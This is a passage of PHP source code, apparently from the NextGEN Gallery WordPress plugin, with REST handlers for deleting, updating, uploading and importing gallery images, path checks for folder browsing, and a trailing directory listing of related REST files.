						"SELECT pid FROM {$wpdb->nggpictures} WHERE galleryid = %d ORDER BY sortorder ASC, pid ASC LIMIT 1",
						$gallery_id
					)
				);

				// Update the gallery's previewpic field
				// phpcs:ignore WordPress.DB.DirectDatabaseQuery
				$wpdb->update(
					$wpdb->nggallery,
					[ 'previewpic' => $first_image_id ? (int) $first_image_id : 0 ],
					[ 'gid' => $gallery_id ],
					[ '%d' ],
					[ '%d' ]
				);
			}

			Transient::flush( 'rest_galleries' );
			return new WP_REST_Response(
				[
					'message'       => __( 'Image deleted successfully', 'nggallery' ),
					'deleted'       => true,
					'id'            => $image_id,
					'files_deleted' => (bool) $settings->get( 'deleteImg' ),
				]
			);
		} catch ( \Exception $e ) {
			return new WP_Error( 'delete_failed', $e->getMessage(), [ 'status' => 500 ] );
		}
	}

	/**
	 * Bulk update images.
	 *
	 * @param WP_REST_Request $request The request object containing an array of image data to update.
	 * @return WP_REST_Response
	 */
	public static function bulk_update_images( WP_REST_Request $request ) {
		$images_data = $request->get_param( 'images' );
		$mapper      = ImageMapper::get_instance();
		$updated     = [];
		$errors      = [];

		foreach ( $images_data as $image_data ) {
			$can_manage = self::current_user_can_manage_image( (int) $image_data['id'] );
			if ( is_wp_error( $can_manage ) || ! $can_manage ) {
				// translators: %d is the image ID.
				$errors[] = sprintf( __( 'Permission denied for image ID %d', 'nggallery' ), $image_data['id'] );
				continue;
			}

			$image = $mapper->find( $image_data['id'] );
			if ( ! $image ) {
				// translators: %d is the image ID.
				$errors[] = sprintf( __( 'Image with ID %d not found', 'nggallery' ), $image_data['id'] );
				continue;
			}

			$fields = [ 'alttext', 'description', 'exclude', 'image_slug', 'sortorder', 'pricelist_id' ];
			foreach ( $fields as $field ) {
				if ( isset( $image_data[ $field ] ) ) {
					$value = $image_data[ $field ];
					if ( 'exclude' === $field ) {
						$value = $value ? 1 : 0;
					}
					$image->$field = $value;
				}
			}

			try {
				$mapper->save( $image );

				// Handle tags separately using WordPress taxonomy functions
				if ( isset( $image_data['tags'] ) ) {
					$tags = $image_data['tags'];
					if ( is_string( $tags ) ) {
						$tags = array_filter(
							array_map( 'trim', explode( ',', $tags ) ),
							function ( $tag ) {
								return ! empty( $tag );
							}
						);
						$tags = array_values( array_unique( $tags ) );
					}
					wp_set_object_terms( $image->pid, $tags, 'ngg_tag' );
				}

				$updated[] = self::prepare_image_for_response( $image );
			} catch ( \Exception $e ) {
				$errors[] = sprintf(
					// translators: %1$d is the image ID, %2$s is the error message.
					__( 'Failed to update image %1$d: %2$s', 'nggallery' ),
					$image_data['id'],
					$e->getMessage()
				);
			}
		}

		return new WP_REST_Response(
			[
				'updated' => $updated,
				'errors'  => $errors,
				'message' => sprintf(
					// translators: %1$d is the number of updated images, %2$d is the number of errors.
					__( 'Updated %1$d images with %2$d errors', 'nggallery' ),
					count( $updated ),
					count( $errors )
				),
			],
			count( $errors ) > 0 ? 207 : 200
		);
	}

	/**
	 * Import images from the WordPress media library into a NextGEN gallery.
	 *
	 * @param WP_REST_Request $request The request object containing gallery_id, gallery_name, and attachment_ids parameters.
	 * @return WP_REST_Response
	 */
	public static function import_media_library( WP_REST_Request $request ) {
		// Image imports can require significant memory for decoding/resizing.
		// In REST requests, WordPress may still be running at WP_MEMORY_LIMIT (often low).
		if ( function_exists( 'wp_raise_memory_limit' ) ) {
			\wp_raise_memory_limit( 'image' );
		}

		$retval          = [];
		$created_gallery = false;
		$gallery_id      = (int) $request->get_param( 'gallery_id' );
		$gallery_name    = $request->get_param( 'gallery_name' );
		$attachment_ids  = $request->get_param( 'attachment_ids' );

		$gallery_mapper = \Imagely\NGG\DataMappers\Gallery::get_instance();
		$image_mapper   = \Imagely\NGG\DataMappers\Image::get_instance();

		if ( empty( $attachment_ids ) || ! is_array( $attachment_ids ) ) {
			return new WP_REST_Response(
				[
					'error' => __( 'An unexpected error occurred.', 'nggallery' ),
				],
				400
			);
		}

		if ( 0 === $gallery_id ) {
			if ( ! empty( $gallery_name ) ) {
				$gallery = $gallery_mapper->create( [ 'title' => $gallery_name ] );
				if ( ! $gallery->save() ) {
					return new WP_REST_Response(
						[
							'error' => $gallery->validate(),
						],
						400
					);
				} else {
					$created_gallery = true;
					$gallery_id      = $gallery->id();
				}
			} else {
				return new WP_REST_Response(
					[
						'error' => __( 'No gallery name specified', 'nggallery' ),
					],
					400
				);
			}
		}
		Transient::flush( 'rest_galleries' );

		$retval['gallery_id'] = $gallery_id;
		$storage              = \Imagely\NGG\DataStorage\Manager::get_instance();
		$retval['image_ids']  = [];

		foreach ( $attachment_ids as $id ) {
			try {
				$abspath   = get_attached_file( $id );
				$file_data = file_get_contents( $abspath );

				if ( empty( $file_data ) ) {
					return new WP_REST_Response(
						[
							'error' => __( 'Image generation failed', 'nggallery' ),
						],
						500
					);
				}
				$file_name  = \Imagely\NGG\Display\I18N::mb_basename( $abspath );
				$attachment = get_post( $id );
				$image      = $storage->upload_image( $gallery_id, $file_name, $file_data );

				if ( $image ) {
					// Potentially import metadata from WordPress.
					$image = $image_mapper->find( $image );
					if ( ! empty( $attachment->post_excerpt ) ) {
						$image->alttext = $attachment->post_excerpt;
					}
					if ( ! empty( $attachment->post_content ) ) {
						$image->description = $attachment->post_content;
					}

					$image = apply_filters( 'ngg_medialibrary_imported_image', $image, $attachment );
					$image_mapper->save( $image );
					$retval['image_ids'][] = $image->{$image->id_field};
				} else {
					return new WP_REST_Response(
						[
							'error' => __( 'Image generation failed', 'nggallery' ),
						],
						500
					);
				}
			} catch ( \RuntimeException $ex ) {
				if ( $created_gallery ) {
					$gallery_mapper->destroy( $gallery_id );
				}
				return new WP_REST_Response(
					[
						'error' => $ex->getMessage(),
					],
					500
				);
			} catch ( \Exception $ex ) {
				return new WP_REST_Response(
					[
						'error'         => __( 'An unexpected error occurred.', 'nggallery' ),
						'error_details' => $ex->getMessage(),
					],
					500
				);
			}
		}

		// If images were imported successfully, set the first one as preview if gallery has no preview
		if ( ! empty( $retval['image_ids'] ) ) {
			self::set_gallery_preview_if_empty( $gallery_id, $retval['image_ids'][0] );
		}

		$retval['gallery_name'] = esc_html( $gallery_name );
		return new WP_REST_Response( $retval );
	}

	/**
	 * Upload an image or zip file to a gallery.
	 *
	 * @param WP_REST_Request $request The request object containing gallery_id, gallery_name, and file parameters.
	 * @return WP_REST_Response
	 */
	public static function upload_image( WP_REST_Request $request ) {
		// Image uploads can require significant memory for decoding/resizing.
		// In REST requests, WordPress may still be running at WP_MEMORY_LIMIT (often low).
		if ( function_exists( 'wp_raise_memory_limit' ) ) {
			\wp_raise_memory_limit( 'image' );
		}

		$created_gallery = false;
		$gallery_id      = (int) $request->get_param( 'gallery_id' );
		$gallery_name    = $request->get_param( 'gallery_name' );
		$gallery_mapper  = \Imagely\NGG\DataMappers\Gallery::get_instance();
		$retval          = [ 'gallery_name' => esc_html( $gallery_name ) ];

		if ( ! class_exists( 'DOMDocument' ) ) {
			$retval['error'] = __( 'Please ask your hosting provider or system administrator to enable the PHP XML module which is required for image uploads', 'nggallery' );
			return new WP_REST_Response( $retval, 500 );
		}

		if ( 0 === $gallery_id ) {
			if ( ! empty( $gallery_name ) ) {
				$gallery = $gallery_mapper->create( [ 'title' => $gallery_name ] );
				if ( ! $gallery->save() ) {
					$retval['error'] = $gallery->validate();
					return new WP_REST_Response( $retval, 400 );
				} else {
					$created_gallery = true;
					$gallery_id      = $gallery->id();
				}
			} else {
				$retval['error'] = __( 'No gallery name specified', 'nggallery' );
				return new WP_REST_Response( $retval, 400 );
			}
		}

		$retval['gallery_id'] = $gallery_id;
		$settings             = \Imagely\NGG\Settings\Settings::get_instance();
		$storage              = \Imagely\NGG\DataStorage\Manager::get_instance();

		try {
			// Pass true to skip nonce check since REST API has its own authentication
			if ( $storage->is_zip( true ) ) {
				$results = $storage->upload_zip( $gallery_id, true );
				if ( $results ) {
					$retval = $results;
					// If ZIP uploaded successfully and has images, set preview if empty
					if ( ! empty( $results['image_ids'] ) && is_array( $results['image_ids'] ) ) {
						self::set_gallery_preview_if_empty( $gallery_id, $results['image_ids'][0] );
					}
				} else {
					$retval['error'] = __( 'Failed to extract images from ZIP', 'nggallery' );
				}
				// phpcs:ignore WordPress.Security.NonceVerification.Missing
			} elseif ( isset( $_FILES['file'] ) ) {
				$image_id = $storage->upload_image( $gallery_id );
				if ( $image_id ) {
					$retval['image_ids'] = [ $image_id ];
					// check if image was resized correctly.
					if ( $settings->get( 'imgAutoResize' ) ) {
						$image_path  = $storage->get_full_abspath( $image_id );
						$image_thumb = new \Imagely\NGG\DataTypes\LegacyThumbnail( $image_path, true );
						if ( $image_thumb->error ) {
							// translators: %s is the error message.
							$retval['error'] = sprintf( __( 'Automatic image resizing failed [%1$s].', 'nggallery' ), $image_thumb->errmsg );
						}
					}
					// check if thumb was generated correctly.
					$thumb_path = $storage->get_image_abspath( $image_id, 'thumb' );
					if ( ! file_exists( $thumb_path ) ) {
						$retval['error'] = __( 'Thumbnail generation failed.', 'nggallery' );
					}

					// If gallery has no preview image, set this as the preview
					self::set_gallery_preview_if_empty( $gallery_id, $image_id );
				} else {
					$retval['error'] = __( 'Image generation failed', 'nggallery' );
				}
			} else {
				$retval['error'] = __( 'No file uploaded', 'nggallery' );
			}
		} catch ( \RuntimeException $ex ) {
			$retval['error'] = $ex->getMessage();
			if ( $created_gallery ) {
				$gallery_mapper->destroy( $gallery_id );
			}
		} catch ( \Exception $ex ) {
			// translators: %s is the error message.
			$retval['error'] = sprintf( __( 'An unexpected error occurred: %s', 'nggallery' ), $ex->getMessage() );
		}

		$status = ! empty( $retval['error'] ) ? 500 : 200;
		if ( $status === 200 ) {
			Transient::flush( 'rest_galleries' );
		}
		return new WP_REST_Response( $retval, $status );
	}

	/**
	 * Returns the absolute root path allowed for folder browsing and importing.
	 *
	 * On single-site this is NGG_IMPORT_ROOT (wp-content by default).
	 * On multisite subsites the path is validated against the current blog's
	 * upload directory so that one subsite cannot reach another's files.
	 *
	 * @return string | \WP_Error
	 */
	private static function get_import_root() {
		$root = is_multisite()
			? \Imagely\NGG\DataStorage\Manager::get_instance()->get_upload_abspath()
			: NGG_IMPORT_ROOT;
		$root = str_replace( '/', DIRECTORY_SEPARATOR, $root );
		$root = untrailingslashit( $root );

		if ( is_multisite() && ! is_main_site() ) {
			$upload_dir       = wp_upload_dir();
			$blog_upload_base = trailingslashit( wp_normalize_path( realpath( $upload_dir['basedir'] ) ?: $upload_dir['basedir'] ) );
			$resolved_root    = wp_normalize_path( realpath( $root ) ?: $root );
			$normalized_root  = trailingslashit( $resolved_root );

			if ( strpos( $normalized_root, $blog_upload_base ) !== 0 ) {
				return new \WP_Error(
					'invalid_gallery_path',
					__( 'Access denied. You can only browse your own upload directory.', 'nggallery' ),
					[ 'status' => 403 ]
				);
			}
		}

		return $root;
	}

	/**
	 * Browse a folder for import.
	 *
	 * @param WP_REST_Request $request The request object containing dir parameter.
	 * @return WP_REST_Response
	 */
	public static function browse_folder( WP_REST_Request $request ) {
		$retval = [];
		$dir    = $request->get_param( 'dir' );
		$root   = self::get_import_root();
		if ( is_wp_error( $root ) ) {
			return new WP_REST_Response( [ 'error' => $root->get_error_message() ], 403 );
		}
		$browse_path = $root;
		if ( ! empty( $dir ) ) {
			$browse_path = $root . DIRECTORY_SEPARATOR . ltrim( $dir, DIRECTORY_SEPARATOR );
		}

		// Use WP_Filesystem for directory listing.
		global $wp_filesystem;
		if ( ! $wp_filesystem ) {
			require_once ABSPATH . '/wp-admin/includes/file.php';
			WP_Filesystem();
		}
		if ( ! $wp_filesystem ) {
			$retval['error'] = __( 'Could not initialize WordPress filesystem API.', 'nggallery' );
			return new WP_REST_Response( $retval, 500 );
		}

		if ( ! $wp_filesystem->exists( $browse_path ) ) {
				$retval['error'] = __( 'Directory does not exist.', 'nggallery' );
			return new WP_REST_Response( $retval, 404 );
		}

		// Security: ensure path is within root using true prefix match; reject when realpath() fails (non-existent or symlink outside root).
		$real_browse = realpath( $browse_path );
		$real_root   = realpath( $root );
		if (
			false === $real_browse
			|| false === $real_root
			|| 0 !== strpos(
				trailingslashit( wp_normalize_path( $real_browse ) ),
				trailingslashit( wp_normalize_path( $real_root ) )
			)
		) {
			$retval['error'] = __( 'No permissions to browse folders. Try refreshing the page or ensuring that your user account has sufficient roles/privileges.', 'nggallery' );
				return new WP_REST_Response( $retval, 403 );
		}

		$dirlist = $wp_filesystem->dirlist( $browse_path );
		if ( ! is_array( $dirlist ) ) {
			$retval['error'] = __( 'Could not list directory contents.', 'nggallery' );
			return new WP_REST_Response( $retval, 500 );
		}

		$is_wp_content_path = untrailingslashit( WP_CONTENT_DIR ) === untrailingslashit( $browse_path );
		$is_wp_content_path = apply_filters( 'imagely_is_wp_content_path', $is_wp_content_path );

		$directories = [];
		foreach ( $dirlist as $name => $info ) {
			if ( 'd' !== $info['type'] ) {
				continue;
			}

			if ( $is_wp_content_path && in_array( $info['name'], [ 'plugins', 'upgrade', 'themes' ], true ) ) {
				continue;
			}

			$rel_file_path = ltrim( str_replace( $root, '', $browse_path . DIRECTORY_SEPARATOR . $name ), DIRECTORY_SEPARATOR );
			$directories[] = [
				'name'          => $name,
				'relative_path' => $rel_file_path . DIRECTORY_SEPARATOR,
			];
		}
		$retval['directories'] = $directories;
		return new WP_REST_Response( $retval, 200 );
	}

	/**
	 * Import a folder as a gallery.
	 *
	 * @param WP_REST_Request $request The request object containing folder, keep_location, and gallery_title parameters.
	 * @return WP_REST_Response
	 */
	public static function import_folder( WP_REST_Request $request ) {
		$retval        = [];
		$folder        = stripslashes( $request->get_param( 'folder' ) );
		$keep_location = $request->get_param( 'keep_location' ) === true || $request->get_param( 'keep_location' ) === 'on';
		$gallery_title = $request->get_param( 'gallery_title', null );

		if ( empty( $gallery_title ) ) {
			$gallery_title = null;
		}

		$root = self::get_import_root();

		if ( is_wp_error( $root ) ) {
			return new WP_REST_Response( [ 'error' => $root->get_error_message() ], 403 );
		}

		$import_path = str_replace( '//', DIRECTORY_SEPARATOR, path_join( $root, $folder ) );

		// First check if the path exists and is accessible.
		if ( ! file_exists( $import_path ) ) {
			return new WP_REST_Response(
				[
					'error' => sprintf(
						// translators: %s is the folder path.
						__( 'The folder "%s" does not exist.', 'nggallery' ),
						$folder
					),
				],
				404
			);
		}

		if ( ! is_dir( $import_path ) ) {
			return new WP_REST_Response(
				[
					'error' => sprintf(
						// translators: %s is the folder path.
						__( 'The path "%s" is not a directory.', 'nggallery' ),
						$folder
					),
				],
				400
			);
		}

		if ( ! is_readable( $import_path ) ) {
			return new WP_REST_Response(
				[
					'error' => sprintf(
						// translators: %s is the folder path.
						__( 'The folder "%s" is not readable. Please check permissions.', 'nggallery' ),
						$folder
					),
				],
				403
			);
		}

		// Check if the folder is within the allowed root path (true prefix match; reject when realpath() fails to prevent traversal).
		$real_import = realpath( $import_path );
		$real_root   = realpath( $root );
		if (
			false === $real_import
			|| false === $real_root
			|| 0 !== strpos(
				trailingslashit( wp_normalize_path( $real_import ) ),
				trailingslashit( wp_normalize_path( $real_root ) )
			)
		) {
			return new WP_REST_Response(
				[
					'error' => sprintf(
						// translators: %s is the folder path.
						__( 'The folder "%s" is outside of the allowed import root path.', 'nggallery' ),
						$folder
					),
				],
				403
			);
		}

		$storage = \Imagely\NGG\DataStorage\Manager::get_instance();

		try {
			$retval = $storage->import_gallery_from_fs(
				$import_path,
				false,
				! $keep_location,
				$gallery_title
			);

			if ( ! $retval ) {
				return new WP_REST_Response(
					[
						'error' => sprintf(
							// translators: %s is the folder path.
							__( 'No images were found in the folder "%s". Please ensure the folder contains supported image files (JPEG, PNG, GIF).', 'nggallery' ),
							$folder
						),
					],
					400
				);
			}

			// If folder imported successfully with images, set the first one as preview if gallery has no preview
			if ( ! empty( $retval['gallery_id'] ) && ! empty( $retval['image_ids'] ) ) {
				self::set_gallery_preview_if_empty( $retval['gallery_id'], $retval['image_ids'][0] );
			}
		} catch ( \Exception $ex ) {
			return new WP_REST_Response(
				[
					'error' => sprintf(
						// translators: %1$s is the folder path, %2$s is the error message.
						__( 'Failed to import folder "%1$s": %2$s', 'nggallery' ),
						$folder,
						$ex->getMessage()
					),
				],
				500
			);
		}
		Transient::flush( 'rest_galleries' );

		return new WP_REST_Response( $retval, 200 );
	}

	/**
	 * Prepare image data for API response.
	 *
	 * @param Image $image The image object to prepare for response.
	 * @return array
	 */
	private static function prepare_image_for_response( $image ) {
		$tags = wp_get_object_terms( $image->pid, 'ngg_tag', [ 'fields' => 'names' ] );

		// Enhance meta_data with live EXIF data if missing critical fields like Orientation
		$meta_data = $image->meta_data;
		if ( ! is_array( $meta_data ) ) {
			$meta_data = [];
		}

		// If Orientation is missing from stored metadata, try to get it from live EXIF
		if ( ! isset( $meta_data['Orientation'] ) || empty( $meta_data['Orientation'] ) ) {
			require_once NGGALLERY_ABSPATH . '/lib/meta.php';
			$meta        = new \nggMeta( $image );
			$orientation = $meta->get_EXIF( 'Orientation' );
			if ( $orientation ) {
				$meta_data['Orientation'] = $orientation;
			}
		}

		// Get properly formatted image URLs using the storage manager
		$storage   = \Imagely\NGG\DataStorage\Manager::get_instance();
		$thumb_url = $storage->get_image_url( $image, 'thumb' );
		$image_url = $storage->get_image_url( $image, 'full' );

		return [
			'pid'            => $image->pid,
			'filename'       => $image->filename,
			'description'    => $image->description,
			'alttext'        => $image->alttext,
			'image_slug'     => $image->image_slug,
			'galleryid'      => $image->galleryid,
			'meta_data'      => $meta_data,
			'post_id'        => $image->post_id,
			'imagedate'      => $image->imagedate,
			'exclude'        => (bool) $image->exclude,
			'sortorder'      => (int) $image->sortorder,
			'tags'           => is_array( $tags ) ? $tags : [],
			'updated_at'     => $image->updated_at,
			'extras_post_id' => $image->extras_post_id,
			'pricelist_id'   => isset( $image->pricelist_id ) ? (int) $image->pricelist_id : 0,
			'thumb_url'      => $thumb_url ?? '',
			'image_url'      => $image_url ?? '',
		];
	}

	/**
	 * Set the gallery's preview image if it doesn't have one.
	 *
	 * @param int $gallery_id The gallery ID.
	 * @param int $image_id The image ID to set as preview.
	 * @return void
	 */
	private static function set_gallery_preview_if_empty( $gallery_id, $image_id ) {
		global $wpdb;

		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.DirectQuery
		$current_preview = $wpdb->get_var(
			$wpdb->prepare(
				"SELECT previewpic FROM {$wpdb->nggallery} WHERE gid = %d",
				$gallery_id
			)
		);

		// Only set if gallery has no preview image (0 or empty)
		if ( empty( $current_preview ) ) {
			// phpcs:ignore WordPress.DB.DirectDatabaseQuery
			$wpdb->update(
				$wpdb->nggallery,
				[ 'previewpic' => (int) $image_id ],
				[ 'gid' => $gallery_id ],
				[ '%d' ],
				[ '%d' ]
			);
		}
	}
}

Filemanager

Name Type Size Permission Actions
http Folder 0755
AddonsREST.php File 6.88 KB 0644
AlbumREST.php File 28.46 KB 0644
DisplayTypeREST.php File 9.48 KB 0644
GalleryREST.php File 35.33 KB 0644
ImageOperationsREST.php File 51.64 KB 0644
ImageREST.php File 53.61 KB 0644
LicenseREST.php File 3.46 KB 0644
NotificationsREST.php File 5 KB 0644
PluginManagementREST.php File 8.99 KB 0644
SettingsREST.php File 42.05 KB 0644
TagREST.php File 7.73 KB 0644
Filemanager